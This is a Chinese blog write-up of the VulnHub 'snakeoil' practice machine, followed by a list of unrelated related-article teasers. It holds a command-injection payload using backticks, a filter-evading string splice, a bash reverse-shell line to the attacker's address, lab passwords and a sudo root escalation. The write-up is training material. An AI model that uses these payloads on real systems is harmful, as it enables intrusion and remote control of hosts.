vulnhub靶场之【digitalworld.local系列】的snakeoil靶机

news2025/3/10 4:12:18

前言

靶机:digitalworld.local-snakeoil,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp、udp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=22,80,8080,68,69,138,161,631,1434,1900

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail

使用脚本检测有无漏洞

nmap --script=vuln 192.168.10.11 -p $ports -oA vuln

网站信息探测

访问80端口界面,应该是搭建成功的界面,访问页面源代码,并没有信息泄露

使用whatweb和浏览器插件wappalyzer进行分析

9

使用gobuster等目录爆破工具进行测试

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

可以看到,扫描并未有内容出现

访问8080端口的界面,这个界面,有点像之前未绑定域名时的界面,不知道是否如此

查看页面源代码,也没有信息泄露

点击进行测试,访问edit,就是每个文章的编辑,发现有delete post的选项,并且点击后,可以直接就删除这个文章了

不过访问house rules时,也是发现了一个人名patrick

这里反应很慢,通过浏览器的网络功能,发现请求的js可能是来自国外的,所以建议这里自己使用魔法一下。

访问useful links,发现其中提到JWT认证

使用gobuster目录爆破工具,针对8080端口的网站进行目录爆破

gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,.sh,.html -b 403-404

访问login界面,提示当前的get方式不行,并且服务器给出回应,可用的方式有两个

那么建议使用burp或者yakit抓包吧,更改请求类型后,还是没什么东西。改为post还有内容,但是options后,没有任何东西

访问同样是405状态码的run,这个更改为post后,给出了返回,也就是应该有一个form表单,这个表单中输入url,其实就是需要知道参数。这个没办法

访问users,发现东西了,这里就是出现用户名和密码了

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040

尝试使用john进行破解

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040 这种形式是使用了 PBKDF2(Password-Based Key Derivation Function 2)算法结合 SHA256 哈希函数进行的密码哈希加密结果。

具体解释如下:

  • $pbkdf2-sha256$:表示使用的是 PBKDF2 算法并且哈希函数是 SHA256。PBKDF2 是一种基于密码的密钥派生函数,它通过多次迭代和加盐等操作,增加破解密码的难度,增强安全性。
  • 29000:这个数字表示迭代次数,即 PBKDF2 算法在计算密钥派生值时对输入密码进行哈希计算的次数。迭代次数越多,破解密码所需的时间和计算资源就越多。
  • e0/J.V.rVSol5HxPqdW6Nw:这是盐值(salt),盐是一个随机值,与密码一起参与哈希计算。盐值的作用是使得即使用户使用了相同的密码,其哈希结果也会不同,进一步增加破解的难度。
  • FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040:这部分是最终生成的密码哈希值。

这里继续进行总结观察

抓包分析以获取shell

这里还是说一下,并非就一定使用burp,工具很多

使用burp修改数据包

之前抓取的几个界面感觉有搞头,/loginrunregistration

访问registration

这里是返回提示“错误的方法”

那么采用POST方式后,提示username区域为空

一般对于registration都是注册,假设这里一样呢,因为也涉及到用户名。

那么一般都是与表单有关的,所以,尝试进行添加,参数是username

这里建议从burp的右侧界面进行添加,因为这样burp会自动加上Content-type请求体的

这里提示password参数也没有数据,所以再添加数据password

根据返回数据来看,已经成功, 让访问loginapi进行登录,并且给出了一个token值,这个肯定有用

访问login

使用刚刚注册成功的进行登录

修改请求方式为POST,然后点击后,所需参数与注册时一样,就直接截图参数到位的图片

但是这里登录成功,并没有跳转,所以可能就到这里,还有一个run,访问它

访问run

但是这里的返回并没有参数,该怎么办呢,仔细观察,或许这是json的形式进行传递的

json数据在请求体中进行测试,不过直接测试127.0.0.1:80后,无效果

说明还是有一个所谓的参数,一直说提供url,是否参数就是url呢,测试一下,当然形式上都测试一下,先测试表单的请求,可以看到不行

直接使用burp的扩展,更改为json形式

返回不一样了,这里要一个密钥,综合来说,目前密钥的形式可能有patrick的哈希密码。以及注册用户snake给的一个access_token,不过这里进行login时,是使用注册的用户snake,是否需要的就是这个access_token呢。

这个token,一般都是放置在cookie中的,那么直接添加测试,直接在这里发现不行,这个secret_key可能不是这两个中的任一个。

访问secret

根据名称联想,之前的目录secret还没测试,访问测试一下,直接500

内部服务器问题?这里目前有的只有access_token以及账户密码,尝试添加access_token测试能否访问

还是不行,这不应该啊,我测试多次,无奈,看了一下wp

有点无语,名称是access_token_cookie???????啊啊啊啊啊啊啊

唉,访问成功,获取到secret_key的值commandexecutionissecret

直接在run中的json数据,再添加以一段即可

命令执行

这里可以看到右边的返回,像是统计,这里的secret_key是固定的,必须有才能有返回

但是url参数的值,并非固定的,尝试修改一下进行测试,只要在引号内修改,任意值的返回都是这个

并且,这里返回中,说不能解析主机id,采用的是curl

我是否可以猜测,这其实是一个curl命令语句,经测试就是类似于这种

所以在burp上再测试,发现直接在引号内输入;id是不行的,可能在某些符合内吧。想到可以使用反引号 ``这个可以执行的

"url":"127.0.0.1:80;`id`",
"secret_key":"commandexecutionissecret"

相当于可以命令执行,并且这个返回其实可以搞掉,因为是正确的返回,那么直接给它2>/dev/null

反正大差不差,直接命令执行一个反弹shell进行测试,直接搞命令不行,感觉可能有过滤等情况发生,那么直接在kali中创建一个脚本shell.sh,代码如下

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1

然后通过这个把其下载,根据curl的命令,加上-O参数即可,这里也测试过php文件,但是对php进行关键字处理了

想办法执行执行这个脚本,测试过,命令执行不能有空格,也就是单个命令可以

经过测试,对关键字bash进行了筛选,不能直接有bash出现

所以需要进行拼接

"http://192.168.10.6:8888/shell.sh -O;`a='bas';b='h';$a$b shell.sh`",

使用postman修改

打开postman工具后,直接输入网址地址即可,这里与burp不同,这里基本上无需抓包,而是通过修改包然后直接请求的方式

大致情况如下,基本上差不多

26

这里就放两张图,不过一定要注意,postmanburp是不同的,这里使用这个工具也是提醒自己

靶机内信息收集

patrick获取到的反弹shell,查看当前靶机内的用户,发现只要patrick

ls -l /home
cat /etc/passwd | grep /bin/bash

查看网络连接状态

ip add
ss -antulp
netstat -antulp

查看内核版本和系统版本

uname -a
uanme -r
cat /etc/issue
cat /etc/*release
lsb_release

查看以root执行的进程

ps aux | grep root

使用find寻找一些权限

find / -perm \o+w 2>/dev/null
find / -perm -4000 -print 2>/dev/null

使用sudo -l查看,发现两个,一个以root执行无需密码的shutdown,一个是需要密码,所有都可以

但是这里不知道patrick的密码

查看由python搭建的flask网站配置,该配置文件就在patrick的家目录下,路径为/home/patrick/flask_blog

查看主文件app.py,发现几个可能是密码的东西

当然这个文件中,还涉及到一些防护,是真的对bash等关键字进行防护了

尝试以获取的密码进行登录测试

snakeoilisnotgoodforcorporations
NOreasonableDOUBTthisPASSWORDisGOOD

最终以密码NOreasonableDOUBTthisPASSWORDisGOOD登录了patrick账户

提权

根据前面的sudo -l的配置可以知道,这里知道密码后可执行sudo一切了

sudo /bin/bash -p

查看root主目录下的文件

总结

该靶机有以下几点:

  1. 对于网站,最好就是在浏览时,借助抓包工具,这样可以分析很多,可以使用burpyakit
  2. 对于一些网站中的请求方式,请求方式不同,也会导致返回不同,这个是重点的,还有许多http的请求头不同,返回也会不同的
  3. 对于http协议中的一些东西,一定要了解,这里比如请求体数据格式,请求头cookiecontent-type等等
  4. python搭建的网站也是要了解的,这里的flask也是有很多漏洞的,具体可以百度搜索一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2312471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ubuntu切换lowlatency内核

文章目录 一. 前言二. 开发环境三. 具体操作 一. 前言 低延迟内核(Lowlatency Kernel) 旨在为需要低延迟响应的应用程序设计的内核版本。Linux-lowlatency特别适合音频处理、实时计算、游戏和其他需要及时响应的实时任务。其主要特点是优化了中断处理、调…

C++修炼之路:初识C++

Hello大家好&#xff01;很高兴我们又见面啦&#xff01;给生活添点passion&#xff0c;开始今天的编程之路&#xff01; 我的博客&#xff1a;<但凡. 我的专栏&#xff1a;《编程之路》、《数据结构与算法之美》、《题海拾贝》 欢迎点赞&#xff0c;关注&#xff01; 引言 …

微信小程序+SpringBoot的单词学习小程序平台(程序+论文+讲解+安装+修改+售后)

感兴趣的可以先收藏起来&#xff0c;还有大家在毕设选题&#xff0c;项目以及论文编写等相关问题都可以给我留言咨询&#xff0c;我会一一回复&#xff0c;希望帮助更多的人。 系统背景 &#xff08;一&#xff09;社会需求背景 在全球化的大背景下&#xff0c;英语作为国际…

VBA 数据库同一表的当前行与其他行的主键重复判断实现方案1

目的&#xff0c;判断是否主键重复&#xff0c;不重复则登录新数据&#xff0c;重复则不登录。 定义类型&#xff1a; DataRecord   tableName 表名   rowNumber 行号   columnName 列名   data 数据 想要实现的代码逻辑如下&#xff1a; 模拟数据库的登录过程。假设…

VUE的第二天

1. 指令修饰符 1.1什么是指令修饰符&#xff1f; ​ 所谓指令修饰符就是通过“.”指明一些指令后缀 不同的后缀封装了不同的处理操作 —> 简化代码 1.2按键修饰符 keyup.enter —>当点击enter键的时候才触发 代码演示&#xff1a; <div id"app"><…

Element Plus中的树组件的具体用法(持续更新!)

const defaultProps {//子树为节点对象的childrenchildren: children,//节点标签为节点对象的name属性label: name, } 属性 以下是树组件中的常用属性以及作用&#xff1a; data&#xff1a;展示的数据&#xff08;数据源&#xff09; show-checkbox&#xff1a;节点是否可…

尚硅谷爬虫note14

一、scrapy scrapy&#xff1a;为爬取网站数据是&#xff0c;提取结构性数据而编写的应用框架 1. 安装 pip install scrapy 或者&#xff0c;国内源安装 pip install scrapy -i https&#xff1a;//pypi.douban.com/simple 2. 报错 报错1&#xff09;building ‘twisted.te…

永洪科技深度分析实战,零售企业的销量预测

随着人工智能技术的不断发展&#xff0c;智能预测已经成为各个领域的重要应用之一。现在&#xff0c;智能预测技术已经广泛应用于金融、零售、医疗、能源等领域&#xff0c;为企业和个人提供决策支持。 智能预测技术通过分析大量的数据&#xff0c;利用机器学习和深度学习算法…

2.数据结构-栈和队列

数据结构-栈和队列 2.1栈2.1.1栈的表示和实现2.1.2栈的应用举例数制转换括号匹配检验迷宫给求解表达式求值 2.1栈 栈是限定仅在表尾进行插入或删除操作的线性表&#xff0c;因此&#xff0c;对栈来说&#xff0c;表尾端有其特殊含义&#xff0c;称为栈顶&#xff08;top&#x…

android studio开发文档

android基本样式 1.文本 2.设置文本大小 3.字体颜色 背景 资源文件 xml’引用资源文件 4.视图宽高 5.间距 6.对齐方式 常用布局 1.linearLayout线性布局 2.相对布局 RelativeLayout 3.网格布局GridLayout 4.scrollview滚动视图 Button 点击事件与长按事件 长按 按钮禁用与…

Java 对象与类——从 C++ 到 Java

文章目录 面向对象程序设计概述使用预定义类用户自定义类静态字段与静态方法方法参数对象构造包JAR 文件文档注释类设计技巧 面向对象程序设计概述 面向对象程序设计&#xff08;OOP&#xff09;在 20 世纪 70 年代出现&#xff0c;是当今主流编程范型&#xff0c;Java 是面向…

一篇文章讲解清楚ARM9芯片启动流程

SAM9X60 ARM9 boot启动流程关键词介绍&#xff1a; 第一级bootloader - 也叫boot ROM&#xff0c;是集成在MPU内部的ROM里面 它的主要功能是执行对MPU的基本初始化和配置&#xff0c;查找并将第二级bootloader从外部NVM中读取出来并放到MPU内部的SRAM. 可以让MPU强制停留在第一…

【2025】Electron + React 架构筑基——从零到一的跨平台开发

引言 源代码仓库&#xff1a; Github仓库【electron_git】 你是否厌倦了在命令行中反复输入git status&#xff0c;却依然无法直观看到文件变化&#xff1f; 是否羡慕VS Code的丝滑Git集成&#xff0c;却苦恼于无法定制自己的专属工具&#xff1f; 本专栏将为你打开一扇新的…

Vue3实战学习(IDEA中打开、启动与搭建Vue3工程极简脚手架教程(2025超详细教程)、Windows系统命令行启动Vue3工程)(2)

目录 一、命令行中重新启动已搭建好的Vue3工程。(快速上手) &#xff08;0&#xff09;Windows环境下使用命令行从零到一手动搭建Vue3工程教程。 &#xff08;1&#xff09;首先找到已建Vue3工程的目录。 &#xff08;2&#xff09;无需再下载依赖包&#xff0c;直接执行npm ru…

【ArcGIS】地理坐标系

文章目录 一、坐标系理论体系深度解析1.1 地球形态的数学表达演进史1.1.1 地球曲率的认知变化1.1.2 参考椭球体参数对比表 1.2 地理坐标系的三维密码1.2.1 经纬度的本质1.2.2 大地基准面&#xff08;Datum&#xff09;的奥秘 1.3 投影坐标系&#xff1a;平面世界的诞生1.3.1 投…

Oxidized收集H3C交换机网络配置报错,not matching configured prompt (?-mix:^(<CD>)$)

背景&#xff1a;问题如上标题&#xff0c;H3C所有交换机配置的model都是comware 解决方案&#xff1a; 1、找到compare.rb [rootoxidized model]# pwd /usr/local/lib/ruby/gems/3.1.0/gems/oxidized-0.29.1/lib/oxidized/model [rootoxidized model]# ll comware.rb -rw-r--…

【ubuntu20】--- 搭建 gerrit 最新最详细

在编程的艺术世界里&#xff0c;代码和灵感需要寻找到最佳的交融点&#xff0c;才能打造出令人为之惊叹的作品。而在这座秋知叶i博客的殿堂里&#xff0c;我们将共同追寻这种完美结合&#xff0c;为未来的世界留下属于我们的独特印记。 【ubuntu20】--- 搭建 gerrit 最新最详细…

Python----数据分析(Matplotlib五:pyplot的其他函数,Figure的其他函数, GridSpec)

一、pyplot的其他函数 1.1、xlabel 在matplotlib中&#xff0c; plt.xlabel() 函数用于为当前活动的坐标轴&#xff08;Axes&#xff09;设置x轴的 标签。当你想要标识x轴代表的数据或单位时&#xff0c;这个函数非常有用。 plt.xlabel(xlabel text) 1.2、ylabel 在matplotl…

C语言——链表

大神文献&#xff1a;https://blog.csdn.net/weixin_73588765/article/details/128356985 目录 一、链表概念 1. 什么是链表&#xff1f; 1.1 链表的构成 2. 链表和数组的区别 数组的特点&#xff1a; 链表的特点&#xff1a; 二者对比&#xff1a; 二…

使用免费IP数据库离线查询IP归属地

一、准备工作 1.下载免费IP数据库 首先&#xff0c;访问 MaxMind官网&#xff08;https://www.maxmind.com/en/home&#xff09;如果你还没有MaxMind账号&#xff0c;可以通过此链接地址&#xff08;https://www.maxmind.com/en/geolite2/signup&#xff09;进行账号注册&…